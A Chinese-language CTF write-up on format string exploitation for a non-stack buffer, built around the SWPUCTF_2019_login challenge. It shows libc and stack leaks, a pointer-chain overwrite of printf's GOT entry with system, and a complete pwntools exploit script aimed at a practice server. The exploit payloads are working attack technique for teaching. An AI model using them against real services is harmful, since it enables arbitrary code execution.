格式化字符串

原理

在printf函数后面,若是存在%s %x %n$x类似的函数

就会读取栈上内存上的内容进行转化

利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别

利用 %s 来获取变量所对应地址的内容,只不过有零截断

利用 %n$x 来获取指定参数的值,利用 %n$s 来获取指定参数对应地址的内容

原理:在做题时会进行对多个’[标记]%p’类似的是为了确定在栈上读取到相应位置的值

非栈上的格式化字符串

当我们的输入函数是把输入的放在bss段或者堆上面,就无法直接通过覆盖ebp进行溢出改变值了,这个时候我们就有其他的做题方法了

现在通过一道题目来解释这个方法

SWPUCTF_2019_login

1

2

像这样的这样 无法通过直接写道栈上

4

来到printf函数这里进行动态调试

3

因为格式化字符串改值需要利用上图中第一个红框和第二个红框这样的类似的链式结构来改写栈上面的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-121
print("libc_start_call_main-->",hex(libc_start_call_main))

libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
printf_got = elf.got['printf']
sleep(0.5)
1
2
3
4
5
#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28

接着就是本篇的重点了

先准备一下地址

1
2
3
4
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
aim1 = (stack_adr&0xffff)+0x14 #5
aim2 = (stack_adr&0xffff)+0x24 #9

利用printf函数改写在栈上的地址实现

5

首先看到这里ebp->0xffae58b4->0xffae58c8->0xffae58d8

(可能是只能改链状的第三个所以这么设计吧)

我们先改变0xffae58d8为0xffae58c4

1
pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'

7

地址有点不同,看位置就好了

这里下面那个红框的会变成8

这样+10位置这里的也可以改变地址了

1
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'

6

这样 上面的printf_got就写入了函数中了

同理

9

这个就改好了

接下来,我们改写printf_got的内容改为system

1
2
pay = b'%'+str(sys_low4).encode("utf-8")+b'c%5$hn'
pay += b'%'+str(sys_hig4-sys_low4).encode("utf-8")+b'c%9$hn'

改的都是第三个位置

最后总的exp

ps:本地的我自己怎么都打不通,求大神指导(博客有我邮件直接发就行)

远程用这个脚本可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
from time import sleep
context(log_level='debug',os='linux',arch='i386')
pwnfile = './pwn'
#io=process(pwnfile)
io=remote('node5.buuoj.cn',28554)
elf = ELF(pwnfile)
def debug():
gdb.attach(io)
pause()
io.sendlineafter("Please input your name: ",b'aaaa')


#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
print("libc_start_call_main-->",hex(libc_start_call_main))

libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
printf_got = elf.got['printf']
sleep(0.5)


#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
print("stack_adr-->",hex(stack_adr))

#栈地址进行切片
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
#目标修改位置的地址
aim1 = (stack_adr&0xffff)+0x14 #5

aim2 = (stack_adr&0xffff)+0x24 #9

print("printf_got-->",hex(printf_got))
print("printf_got_low4-->",hex(printf_got_low4))
print("printf_got_hig4-->",hex(printf_got_hig4))
print("aim1-->",hex(aim1))
print("aim2-->",hex(aim2))
#栈上写入printf_got及+2
pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
sleep(0.5)
pay = b'%'+str(aim2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4+2).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
#debug()
sleep(0.5)
#一次性修改print_got
sys_low4 = sys_adr & 0xffff
sys_hig4 = (sys_adr>>16) & 0xffff
print("sys_adr-->",hex(sys_adr))
print("sys_low4-->",hex(sys_low4))
print("sys_hig4-->",hex(sys_hig4))

pay = b'%'+str(sys_low4).encode("utf-8")+b'c%5$hn'
pay += b'%'+str(sys_hig4-sys_low4).encode("utf-8")+b'c%9$hn'
print("pay-->",hex(len(pay)))
io.sendlineafter("Try again!\n",pay)

sleep(0.5)
io.sendlineafter("Try again!",b'cat flag')
io.interactive()